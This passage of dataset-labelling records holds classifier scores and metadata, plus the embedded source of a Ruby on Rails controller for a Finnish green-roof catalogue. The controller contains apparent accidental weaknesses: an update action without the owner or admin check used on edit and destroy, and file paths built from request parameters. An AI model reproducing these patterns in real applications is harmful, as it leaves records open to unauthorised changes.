0.00018114943102930044, "4": 0.00013189010366829523}, "missing_content_severity": {"0": 0.9930113964639572, "1": 0.0033246522455857032, "2": 0.00278245368648008, "3": 0.0007061086666833836, "4": 0.00017538893729355208}, "factual_density": {"0": 0.0037447115314099924, "1": 0.00881298986540972, "2": 0.10878849447682429, "3": 0.3965709561838286, "4": 0.48208284794252754}, "pretraining_utility": {"-2": 0.008826528003736869, "-1": 0.11199220454605587, "0": 0.4554101107759193, "1": 0.3596634490388637, "2": 0.06410770763542425}, "math_density": {"0": 0.9930952087240172, "1": 0.004191608594742021, "2": 0.00046432597703240227, "3": 0.0004885913241942094, "4": 0.0017602653800139945}, "code_density": {"0": 0.0002639370457228624, "1": 0.0004592326621225003, "2": 0.01358901093663214, "3": 0.07545308388863108, "4": 0.9102347354668914}, "reasoning_density": {"0": 0.7107609463230766, "1": 0.12985585582656578, "2": 0.1174614200833026, "3": 0.028764358101955982, "4": 0.013157419665099014}, "education_level": {"none": 0.0011739029210573885, "0": 0.0015876863111087222, "1": 0.021022427432741533, "2": 0.6861418978277266, "3": 0.25254752242036493, "4": 0.0375265630870009}, "creative_writing_quality": {"not_applicable": 0.9995067547149536, "-2": 5.8102855984821944e-05, "-1": 8.736882428120392e-05, "0": 0.0002542963391739035, "1": 6.257130148959827e-05, "2": 3.0905964116445875e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.6157214454257154e-05, "Art & Design": 3.9131546084599756e-05, "Law & Crime": 2.7233629765881833e-05, "Education & Careers": 3.055180474340804e-05, "Entertainment & Media": 2.7564901565463184e-05, "Fashion & Beauty": 1.6934759642834158e-05, "Business, Economics & Finance": 4.884134379915576e-05, "Food & Dining": 2.2409764347454458e-05, "Games & Gaming": 5.049119097002373e-05, "Electronics & Hardware": 0.00018537774327185712, "Health, Healthcare & Wellness": 1.9444296623604486e-05, "History & Geography": 2.5726094927638948e-05, "Home, Pets & Hobbies": 2.5528059522107922e-05, "Industry & Production": 2.645694239147835e-05, "Language, Literature & Philosophy": 0.00011718988343434863, "Politics & Government": 2.2560576124027036e-05, "Religion & Spirituality": 2.3986172981321098e-05, "Science, Mathematics & Engineering": 0.0016132576932491654, "Relationships & Community": 1.5884818980170582e-05, "Software Usage & Applications": 0.0017241567503014567, "Programming & Software Engineering": 0.9951346775465862, "Sports & Fitness": 4.045594527553079e-05, "Vehicles & Transportation": 1.6378471477220022e-05, "Travel & Tourism": 3.692293914429741e-05, "Other / Uncovered Subject": 0.0004937752373651845, "Unknown / Insufficient Content": 0.00017890467297113302}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00020287645805701544, "Art & Design": 0.0001553980560050643, "Law & Crime": 0.00018552635015979996, "Education & Careers": 0.00013761617305158868, "Entertainment & Media": 0.0001668298268178218, "Fashion & Beauty": 7.280901846379802e-05, "Business, Economics & Finance": 0.00019993668682020954, "Food & Dining": 6.806627143851969e-05, "Games & Gaming": 0.00014285901153031764, "Electronics & Hardware": 0.00035046554682737353, "Health, Healthcare & Wellness": 8.424478983239003e-05, "History & Geography": 8.632566613068432e-05, "Home, Pets & Hobbies": 6.714351523049712e-05, "Industry & Production": 6.297971351785502e-05, "Language, Literature & Philosophy": 0.0002460887935006808, "Politics & Government": 9.559691481645596e-05, "Religion & Spirituality": 0.00010938218113445039, "Science, Mathematics & Engineering": 0.0041634158100872275, "Relationships & Community": 4.7784966309762325e-05, "Software Usage & Applications": 0.004741733172996225, "Programming & Software Engineering": 0.017087300862510115, "Sports & Fitness": 8.239476057361209e-05, "Vehicles & Transportation": 4.046191615379329e-05, "Travel & Tourism": 0.00012059547742176349, "Other / Uncovered Subject": 0.00041320854708345013, "NONE": 0.9708689595135295}}, "probabilities": {"primary": {"Academic Writing": 2.8098741726454244e-05, "Content Listing": 2.334279913054245e-05, "Creative Writing": 1.312757036892271e-05, "Customer Support Page": 1.069765595008495e-05, "Q&A Forum": 8.757215352454122e-06, "Discussion Thread": 6.0235119862064135e-06, "Comment Section": 1.1699142375595794e-05, "Missing Content": 2.6130755392891182e-05, "Knowledge Article": 0.00014625818689302706, "Legal Notices": 6.293414463255748e-05, "News Article": 4.137789426919702e-06, "Organizational Announcement": 1.0646279617489378e-05, "Nonfiction Writing": 9.162598509992267e-06, "Organizational About Page": 1.0642290203349794e-05, "Personal About Page": 6.8599958013877e-06, "Personal Blog": 6.0483273673277704e-06, "Product Page": 7.099902607896728e-06, "Spam / Ads": 8.82567178674967e-06, "Structured Data": 0.0020430966733500987, "Technical Writing": 0.9962554318300956, "Transcript / Interview": 1.2238365072590392e-05, "Tutorial / How-To Guide": 0.00013337975545852743, "User Reviews": 5.317424145124582e-06, "Other / Unknown": 0.0011500433727481662}, "secondary": {"Academic Writing": 0.00019897000291378613, "Content Listing": 0.00015531233038833584, "Creative Writing": 0.00015515555326352988, "Customer Support Page": 0.00012342357817045064, "Q&A Forum": 6.550221233240723e-05, "Discussion Thread": 5.9387732605332924e-05, "Comment Section": 0.00015754780465866757, "Missing Content": 0.0003346516563329129, "Knowledge Article": 0.0016475148243951059, "Legal Notices": 0.0002979718168218171, "News Article": 0.00010104207367875747, "Organizational Announcement": 0.00010804408060738148, "Nonfiction Writing": 9.65238567398088e-05, "Organizational About Page": 0.00011433625167201011, "Personal About Page": 7.951846602118795e-05, "Personal Blog": 7.723506530048189e-05, "Product Page": 6.971603694347449e-05, "Spam / Ads": 0.00011761575381501088, "Structured Data": 0.018948968612404107, "Technical Writing": 0.01409664599580023, "Transcript / Interview": 0.00010760438355399168, "Tutorial / How-To Guide": 0.0009542275299418287, "User Reviews": 4.0206797763624117e-05, "NONE": 0.9618928775838756}, "tertiary": {"Academic Writing": 7.306925720776704e-05, "Content Listing": 7.736420676566396e-05, "Creative Writing": 5.5698057932998426e-05, "Customer Support Page": 4.7363759200890096e-05, "Q&A Forum": 2.0061686603103155e-05, "Discussion Thread": 2.0120240242286958e-05, "Comment Section": 8.138733311473999e-05, "Missing Content": 0.00021102397685431585, "Knowledge Article": 0.0006262205629049022, "Legal Notices": 0.0003082153899032755, "News Article": 3.689437367771861e-05, "Organizational Announcement": 4.652923725532337e-05, "Nonfiction Writing": 3.896593931316286e-05, "Organizational About Page": 5.378066205024103e-05, "Personal About Page": 2.9209575835333122e-05, "Personal Blog": 3.0130795467894996e-05, "Product Page": 2.987347264288627e-05, "Spam / Ads": 4.65664151063843e-05, "Structured Data": 0.0055760669437151435, "Technical Writing": 0.004522916074246056, "Transcript / Interview": 3.953600977912921e-05, "Tutorial / How-To Guide": 0.0008202273108863561, "User Reviews": 1.7482434833534983e-05, "NONE": 0.9871912962844609}, "structured_records": {"false": 0.9130915721705635, "true": 0.08690842782943654}, "procedural_steps": {"false": 0.9946343352228393, "true": 0.005365664777160765}, "worked_solution": {"false": 0.999527376285979, "true": 0.0004726237140209632}, "contextual_dialogue": {"false": 0.9999946449082777, "true": 5.355091722298897e-06}, "content_quality": {"-2": 0.003937895470821895, "-1": 0.013903274436668854, "0": 0.15888808250888936, "1": 0.5040239488339165, "2": 0.31924679874970335}, "noise_severity": {"0": 0.994078363415664, "1": 0.005155853008949776, "2": 0.0004527440406885522, "3": 0.0001811494310293004, "4": 0.0001318901036682952}, "missing_content_severity": {"0": 0.9930113964639573, "1": 0.0033246522455857037, "2": 0.0027824536864800805, "3": 0.0007061086666833837, "4": 0.0001753889372935521}, "factual_density": {"0": 0.0037447115314099915, "1": 0.008812989865409718, "2": 0.10878849447682426, "3": 0.3965709561838285, "4": 0.4820828479425274}, "pretraining_utility": {"-2": 0.008826528003736869, "-1": 0.11199220454605587, "0": 0.4554101107759193, "1": 0.3596634490388637, "2": 0.06410770763542425}, "math_density": {"0": 0.9930952087240174, "1": 0.004191608594742022, "2": 0.0004643259770324023, "3": 0.0004885913241942095, "4": 0.0017602653800139947}, "code_density": {"0": 0.0002639370457228624, "1": 0.0004592326621225003, "2": 0.01358901093663214, "3": 0.07545308388863108, "4": 0.9102347354668914}, "reasoning_density": {"0": 0.7107609463230766, "1": 0.12985585582656578, "2": 0.1174614200833026, "3": 0.028764358101955982, "4": 0.013157419665099014}, "education_level": {"none": 0.0011739029210573885, "0": 0.0015876863111087222, "1": 0.021022427432741533, "2": 0.6861418978277266, "3": 0.25254752242036493, "4": 0.0375265630870009}, "creative_writing_quality": {"not_applicable": 0.999506754714954, "-2": 5.8102855984821964e-05, "-1": 8.736882428120394e-05, "0": 0.0002542963391739036, "1": 6.25713014895983e-05, "2": 3.090596411644589e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.615721445425716e-05, "Art & Design": 3.913154608459976e-05, "Law & Crime": 2.7233629765881837e-05, "Education & Careers": 3.0551804743408046e-05, "Entertainment & Media": 2.7564901565463187e-05, "Fashion & Beauty": 1.693475964283416e-05, "Business, Economics & Finance": 4.8841343799155766e-05, "Food & Dining": 2.240976434745446e-05, "Games & Gaming": 5.049119097002374e-05, "Electronics & Hardware": 0.00018537774327185715, "Health, Healthcare & Wellness": 1.944429662360449e-05, "History & Geography": 2.572609492763895e-05, "Home, Pets & Hobbies": 2.5528059522107925e-05, "Industry & Production": 2.6456942391478353e-05, "Language, Literature & Philosophy": 0.00011718988343434864, "Politics & Government": 2.256057612402704e-05, "Religion & Spirituality": 2.39861729813211e-05, "Science, Mathematics & Engineering": 0.0016132576932491656, "Relationships & Community": 1.5884818980170585e-05, "Software Usage & Applications": 0.001724156750301457, "Programming & Software Engineering": 0.9951346775465864, "Sports & Fitness": 4.0455945275530795e-05, "Vehicles & Transportation": 1.6378471477220026e-05, "Travel & Tourism": 3.6922939144297414e-05, "Other / Uncovered Subject": 0.0004937752373651846, "Unknown / Insufficient Content": 0.00017890467297113305}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00020287645805701547, "Art & Design": 0.00015539805600506433, "Law & Crime": 0.00018552635015979999, "Education & Careers": 0.0001376161730515887, "Entertainment & Media": 0.00016682982681782182, "Fashion & Beauty": 7.280901846379804e-05, "Business, Economics & Finance": 0.00019993668682020957, "Food & Dining": 6.80662714385197e-05, "Games & Gaming": 0.00014285901153031767, "Electronics & Hardware": 0.0003504655468273736, "Health, Healthcare & Wellness": 8.424478983239004e-05, "History & Geography": 8.632566613068433e-05, "Home, Pets & Hobbies": 6.714351523049713e-05, "Industry & Production": 6.297971351785504e-05, "Language, Literature & Philosophy": 0.00024608879350068084, "Politics & Government": 9.559691481645597e-05, "Religion & Spirituality": 0.0001093821811344504, "Science, Mathematics & Engineering": 0.004163415810087228, "Relationships & Community": 4.778496630976233e-05, "Software Usage & Applications": 0.0047417331729962256, "Programming & Software Engineering": 0.01708730086251012, "Sports & Fitness": 8.23947605736121e-05, "Vehicles & Transportation": 4.0461916153793296e-05, "Travel & Tourism": 0.0001205954774217635, "Other / Uncovered Subject": 0.0004132085470834502, "NONE": 0.9708689595135296}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999997, "mass_delta": -3.3306690738754696e-16, "missing_mass": 3.3306690738754696e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9662, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9662, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:36:09.443899+00:00", "scoring_key_slot": "primary", "dataset_uid": "73a3d45c-182c-4e1d-9cff-deb4470b8ba4", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "cc8a3f4144480c049e7f8a4c2585e3489af2061a666c1373549bae87d1d03b7a", "source_metadata": {"uuid": "73a3d45c-182c-4e1d-9cff-deb4470b8ba4", "repo_name": "WGBH/NCAM-PAN", "relative_path": "blacklight-app/vendor/ruby/1.9.1/gems/multi_json-1.3.2/lib/multi_json.rb", "category": "TOOL", "algo_rel_score": 0.8108577728271484, "quality_score": 4.808669090270996, "source_meta": {"github_metadata": {"branch": "blacklight-app-v2", "commit_count": 56, "repo_created_at": "2011-10-04T15:42:39.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 2, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "02268634c4886b7256fddcd86cd57b313524ed4f", "size_bytes": 4143, "file_timestamp": 1408657497, "language": "ruby", "is_vendor": true, "license_type": "no_license", "detected_licenses": []}, "commit_id": "9317cfc5480974048bf8d6ba1263ad5d7c045933"}}, "parsed_source_meta": {"github_metadata": {"branch": "blacklight-app-v2", "commit_count": 56, "repo_created_at": "2011-10-04T15:42:39.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 2, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "02268634c4886b7256fddcd86cd57b313524ed4f", "size_bytes": 4143, "file_timestamp": 1408657497, "language": "ruby", "is_vendor": true, "license_type": "no_license", "detected_licenses": []}, "commit_id": "9317cfc5480974048bf8d6ba1263ad5d7c045933", "url": "https://github.com/WGBH/NCAM-PAN/blob/9317cfc5480974048bf8d6ba1263ad5d7c045933/blacklight-app/vendor/ruby/1.9.1/gems/multi_json-1.3.2/lib/multi_json.rb"}, "gpt4o_tokens": 1078, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.1207384809550107, "noise_severity": 0.0071323497980879625, "missing_content_severity": 0.011709441367770225, "factual_density": 3.344434239140654, "pretraining_utility": 0.35823360375618263, "math_density": 0.013627096041445434, "code_density": 3.8949354480688454, "reasoning_density": 0.5037014489594349, "education_level": 2.3037594326246644, "creative_writing_quality": -0.1605515732826045}, "score_applicability": {"education_level": 0.9988260970789427, "creative_writing_quality": 0.0004932452850459737}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/Askensio/Viherkatto/blob/8f49293f71a5490d1c5397996af771b161e11e8b/app/controllers/greenroofs_controller.rb", "id": "ruby-0-fc580bc3d1b2a8e7d6f70cc3677d8c02", "text": "# encoding: UTF-8\n\nrequire 'RMagick'\n\nclass GreenroofsController < ApplicationController\n\n before_filter :signed_user, only: [:new, :create]\n before_filter :ownerOrAdmin, only: [:edit, :removeImage, :destroy, :upload]\n\n\n def search\n\n respond_to do |format|\n\n format.html { render :html => {greenroofs: @greenroofs} }\n\n # --- Takes the Greenroof relation into a variable\n @greenroofs = Greenroof.scoped\n\n # --- Checks the search params and eliminates all non-matches\n\n # --- General (Yleiset)\n if params[:address]\n address = \"%#{params[:address]}%\"\n @greenroofs = @greenroofs.where(\"address like ?\", address)\n end\n if params[:locality]\n locality = \"%#{params[:locality]}%\"\n @greenroofs = @greenroofs.where(\"locality like ?\", locality)\n end\n\n # --- Plants' attributes (Kasvien ominaisuudet)\n if params[:plantname]\n plantname = \"%#{params[:plantname]}%\"\n @greenroofs = @greenroofs.joins(:plants).where(\"plants.name like ?\", plantname).uniq\n end\n @greenroofs = @greenroofs.joins(:plants).where(\"plants.max_height <= ?\", params[:plantmaxheight]).uniq if params[:plantmaxheight]\n @greenroofs = @greenroofs.joins(:plants).where(\"plants.min_height >= ?\", params[:plantminheight]).uniq if params[:plantminheight]\n\n # --- Build's properties (Rakenteen ominaisuudet)\n @greenroofs = @greenroofs.joins(:bases).where(\"bases.absorbancy >= ?\", params[:minabsorbancy]) if params[:minabsorbancy]\n @greenroofs = @greenroofs.joins(:roof).where(\"roofs.area <= ?\", params[:maxroofarea]) if params[:maxroofarea]\n @greenroofs = @greenroofs.joins(:roof).where(\"roofs.area >= ?\", params[:minroofarea]) if params[:minroofarea]\n @greenroofs = @greenroofs.joins(:roof).where(\"roofs.load_capacity >= ?\", params[:minload_capacity]) if params[:minload_capacity]\n\n\n @greenroofs = @greenroofs.paginate(page: params[:page], per_page: params[:per_page]) unless @greenroofs.nil?\n @count = @greenroofs.total_entries\n\n @jsonGreenroofs = []\n\n @greenroofarray = @greenroofs.to_a\n @greenroofarray.each do |groof|\n @user = User.find_by_id(groof.user_id)\n jsonGreenroof = groof.attributes\n jsonGreenroof[:user] = @user.name\n @jsonGreenroofs << jsonGreenroof\n end\n\n format.json { render :json => {admin: admin?, count: @count, greenroofs: @jsonGreenroofs} }\n\n end\n\n end\n\n def show\n @greenroof = Greenroof.find(params[:id])\n end\n\n\n def new\n @greenroof = Greenroof.new\n @base = Base.new\n @layer = Layer.new\n\n @base.layers << @layer\n\n @roof = Roof.new\n @greenroof.bases << @base\n @greenroof.roof = @roof\n @environments = Environment.all\n end\n\n def create\n\n @greenroof = Greenroof.new(params[:greenroof])\n @greenroof.user = current_user\n\n\n @roof = Roof.new(params[:roof])\n\n if not params[:purpose].nil?\n params[:purpose].each do |purp|\n purp[1].each do |toAddPurp|\n @purp = Purpose.find(toAddPurp)\n if (@purp != nil)\n @greenroof.purposes << @purp\n end\n end\n end\n end\n\n if not params[:environment].nil?\n params[:environment][:id].shift\n params[:environment][:id].each do |env|\n @env = Environment.find_by_id(env)\n if (@env != nil)\n @roof.environments << @env\n end\n end\n else\n flash.now[:error] = \"Et valinnut ympäristöä.\"\n respond_to do |format|\n #format.js { render :action => 'new' }\n end\n return\n end\n\n if params[:role].nil?\n flash.now[:error] = \"Et valinnut roolia.\"\n elsif params[:role][:value] === \"Valitse rooli\"\n flash.now[:error] = \"Et valinnut roolia.\"\n else\n @greenroof.role = Role.where(\"value like ?\", params[:role][:value]).first\n end\n\n if not params[:customPlants].nil?\n params[:customPlants].each do |cplant|\n cplant[1].each do |toAddPlant|\n @cplant = CustomPlant.new(name: toAddPlant)\n @greenroof.custom_plants << @cplant\n end\n end\n end\n\n @greenroof.roof = @roof\n\n @bases = params[:bases]\n @bases.each do |key, value|\n @base = Base.new(value[:base])\n if not value[:layers].nil?\n value[:layers].each do |key, value|\n @layer = Layer.create!(value)\n @base.layers << @layer\n end\n @base.save!\n end\n @greenroof.bases << @base\n end\n\n\n if params[:plants].nil?\n #flash.now[:error] = \"Et lisännyt yhtään kasvia.\"\n respond_to do |format|\n #format.js { render :action => 'new' }\n end\n return\n else\n params[:plants].each do |id|\n @plant = Plant.find_by_id(id)\n if not @plant.nil?\n @greenroof.plants << @plant\n end\n end\n end\n\n if @greenroof.save!\n flash[:success] = \"Viherkaton lisäys onnistui!\"\n respond_to do |format|\n format.json { render :json => {id: @greenroof.id} }\n end\n\n else\n if not params[:plants].nil? and not params[:environment][:id].empty?\n respond_to do |format|\n #format.js { render :action => 'new' }\n end\n end\n end\n end\n\n def index\n respond_to do |format|\n #@greenroofs = Greenroof.paginate(page: params[:page])\n #@greenroofs = Greenroof.all\n\n\n @count = 0\n if params[:page].present?\n @greenroofs = Greenroof.paginate(page: params[:page], per_page: params[:per_page])\n @count = @greenroofs.total_entries\n else\n @greenroofs = Greenroof.all\n @count = @greenroofs.length\n end\n\n format.html { render :html => @greenroofs } # index.html.erb\n\n @jsonGreenroofs = []\n\n\n # TÄMÄ FUNKTIO TURHA KUN VIHERKATOLLA ON OMISTAJA KENTTÄ\n @greenroofs.each do |groof|\n @user = User.find_by_id(groof.user_id)\n hash = groof.attributes\n hash[:thumb] = groof.images.first.thumb unless groof.images.first.nil?\n if (signed_in?)\n hash[:creator] = (@user.id == current_user.id)\n else\n hash[:creator] = false\n end\n\n # TÄMÄ FUNKTIO YLIKIRJOITTAA OSAN AIKAISEMMASTA FUNKTIOSTA EIKÄ SE OLE TURHA :D\n hash[:user] = groof.owner.to_s\n\n @jsonGreenroofs << hash\n end\n\n @jsonUser = User.all\n\n #format.json { render :json => {count: @greenroofs.total_entries, greenroofs: @jsonGreenroofs} }\n format.json { render :json => {admin: admin?, count: @count, greenroofs: @jsonGreenroofs} }\n end\n end\n\n def destroy\n\n @greenroof = Greenroof.find(params[:id])\n respond_to do |format|\n @response = \"\"\n if (@greenroof.user_id == current_user.id) or current_user.admin?\n @greenroof.destroy\n @response = \"success\"\n else\n @response = \"error\"\n end\n\n format.json { render :json => {response: @response} }\n end\n end\n \n # Uploads an image to the server and updates the database with paths to it. \n # The filename is generated with the current timestamp and the hash of the original filename, so it's likely to be unique.\n # If an image already exists, it's overwritten.\n\n def upload\n redirect_to_groof_show = false\n @groof = Greenroof.find_by_id(params[:id])\n\n unless params[\"file-0\"].nil?\n\n # The path to the directory for the photos of the created greenroof.\n directory = \"/public/greenroofs/photos/\" + params[:id]\n\n # If the directory does not exists a new one will be created.\n FileUtils.mkdir_p Dir.pwd + directory if not File.directory? Dir.pwd + directory\n\n # The filename for the new photo.\n if not (@groof.images.first.nil?)\n photoFilename = @groof.images.first.photo\n redirect_to_groof_show = true\n else\n photoFilename = params[:id] + \"_\" + Time.now.to_i.to_s + \"_\" + Digest::MD5.hexdigest(params[\"file-0\"].original_filename)\n end\n # The full path for the photo.\n photoPath = Dir.pwd + directory + \"/\" + photoFilename\n\n file = File.read(params[\"file-0\"].tempfile) if params[\"file-0\"]\n f = File.new(photoPath, \"w+\")\n f.write file\n f.close\n\n # Filename for the thumbnail\n if not (@groof.images.first.nil?)\n thumbFilename = @groof.images.first.thumb\n else\n thumbFilename = params[:id] + \"_thumb_\" + Time.now.to_i.to_s + \"_\" + Digest::MD5.hexdigest(params[\"file-0\"].original_filename)\n end\n thumb = Magick::Image.read(photoPath).first\n thumb.crop_resized!(120, 120, Magick::NorthGravity)\n thumbPath = Dir.pwd + directory + \"/\" + thumbFilename\n thumb.write(thumbPath)\n\n # photo = \"/photos/\" + params[:id]\n\n img = Image.new(photo: photoFilename, thumb: thumbFilename)\n @groof.images.clear\n @groof.images << img\n end\n if @groof.save!\n flash[:success] = \"Viherkaton lisäys onnistui!\"\n\n render :js => \"window.location = '/greenroofs/\" << @groof.id.to_s << \"'\"\n\n end\n\n\n end\n \n # Physically removes the image and thumbnail and the paths in the database.\n\n def removeImage\n @groof = Greenroof.find(params[:id])\n if not (@groof.images.first.nil?)\n\n\n directory = \"/public/greenroofs/photos/\" + params[:id]\n photoFilename = @groof.images.first.photo\n thumbFilename = @groof.images.first.thumb\n photoPath = Dir.pwd + directory + \"/\" + photoFilename\n thumbPath = Dir.pwd + directory + \"/\" + thumbFilename\n File.delete(photoPath)\n File.delete(thumbPath)\n @groof.images.first.delete\n end\n redirect_to greenroof_path(@groof)\n end\n\n\n def edit\n @greenroof = Greenroof.find(params[:id])\n @roof = @greenroof.roof\n respond_to do |format|\n format.json { render :json => {plants: @greenroof.plants} }\n format.html { render :html => @greenroof } # index.html.erb\n end\n end\n\n\n def update\n @greenroof = Greenroof.find(params[:id])\n @greenroof.role = Role.where(\"value like ?\", params[:role][:value]).first\n @greenroof.update_attributes(params[:greenroof])\n @roof = @greenroof.roof\n\n\n if not params[:purpose].nil?\n @greenroof.purposes.clear\n params[:purpose].each do |purp|\n purp[1].each do |toAddPurp|\n @purp = Purpose.find(toAddPurp)\n if (@purp != nil)\n @greenroof.purposes << @purp\n end\n end\n end\n\n\n if not params[:environment].nil?\n @roof.environments.clear\n params[:environment][:id].each do |env|\n @env = Environment.find_by_id(env)\n if (@env != nil)\n @roof.environments << @env\n end\n end\n else\n flash.now[:error] = \"Et valinnut ympäristöä.\"\n respond_to do |format|\n #format.js { render :action => 'new' }\n end\n return\n end\n\n\n if not params[:customPlants].nil?\n @greenroof.custom_plants.clear\n params[:customPlants].each do |cplant|\n cplant[1].each do |toAddPlant|\n @cplant = CustomPlant.new(name: toAddPlant)\n @greenroof.custom_plants << @cplant\n end\n end\n end\n\n @greenroof.roof.update_attributes(params[:roof])\n @greenroof.roof.save\n\n @greenroof.bases.clear\n @bases = params[:bases]\n if !@bases.nil?\n @bases.each do |key, value|\n @base = Base.new(value[:base])\n if not value[:layers].nil?\n value[:layers].each do |key, value|\n @layer = Layer.new(value)\n @base.layers << @layer\n end\n end\n @greenroof.bases << @base\n end\n end\n\n\n @greenroof.plants.clear\n params[:plants].each do |id|\n @plant = Plant.find_by_id(id)\n if not @plant.nil? && @greenroof.plants.find(@plant)\n @greenroof.plants << @plant\n end\n end\n\n\n if @greenroof.save!\n flash[:success] = \"Viherkaton muokkaaminen onnistui!\"\n respond_to do |format|\n format.json { render :json => {id: @greenroof.id} }\n end\n\n end\n\n\n end\n end\n\n private\n \n # Checks, if the current user is signed in and owner of the greenroof or an admin.\n\n def ownerOrAdmin\n if not signed_in? && (Greenroof.find_by_id(params[:id]).user_id == current_user.id || current_user.admin?)\n redirect_to root_url\n end\n end\nend\n", "text_preview": "# encoding: UTF-8 require 'RMagick' class GreenroofsController < ApplicationController before_filter :signed_user, only: [:new, :create] before_filter :ownerOrAdmin, only: [:edit, :removeImage, :destroy, :upload] def search respond_to do |f", "input_sha256": "38d4c2562950abdbf4ece17442eada479040dfd21e86c8be27d64e7d718f2ee7", "text_sha256": "fc580bc3d1b2a8e7d6f70cc3677d8c02a5b92656b163a05e1eb701f23e466872", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16103, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.4534499558712493, "noise_severity": 0.0769729677668266, "missing_content_severity": 0.031700337814371836, "factual_density": 3.3468295829078984, "pretraining_utility": 0.45296206225263325, "math_density": 0.06530374138256682, "code_density": 3.8558550429671037, "reasoning_density": 0.7583314765252908, "education_level": 2.2457708799345046, "creative_writing_quality": -0.3183693394954852}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.004600430455158455, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9966481636153767, "secondary": 0.9766975095711233, "tertiary": 0.9814979587417235, "structured_records": 0.01064196266214007, "procedural_steps": 0.010832929855786082, "worked_solution": 0.001492578568685799, "contextual_dialogue": 1.0859442238092626e-05, "content_quality": 0.3710749503792392, "noise_severity": 0.9358558601943112, "missing_content_severity": 0.9735830518213568, "factual_density": 0.45569131908991534, "pretraining_utility": 0.4321881245039517, "math_density": 0.9455802155145276, "code_density": 0.8798792024725863, "reasoning_density": 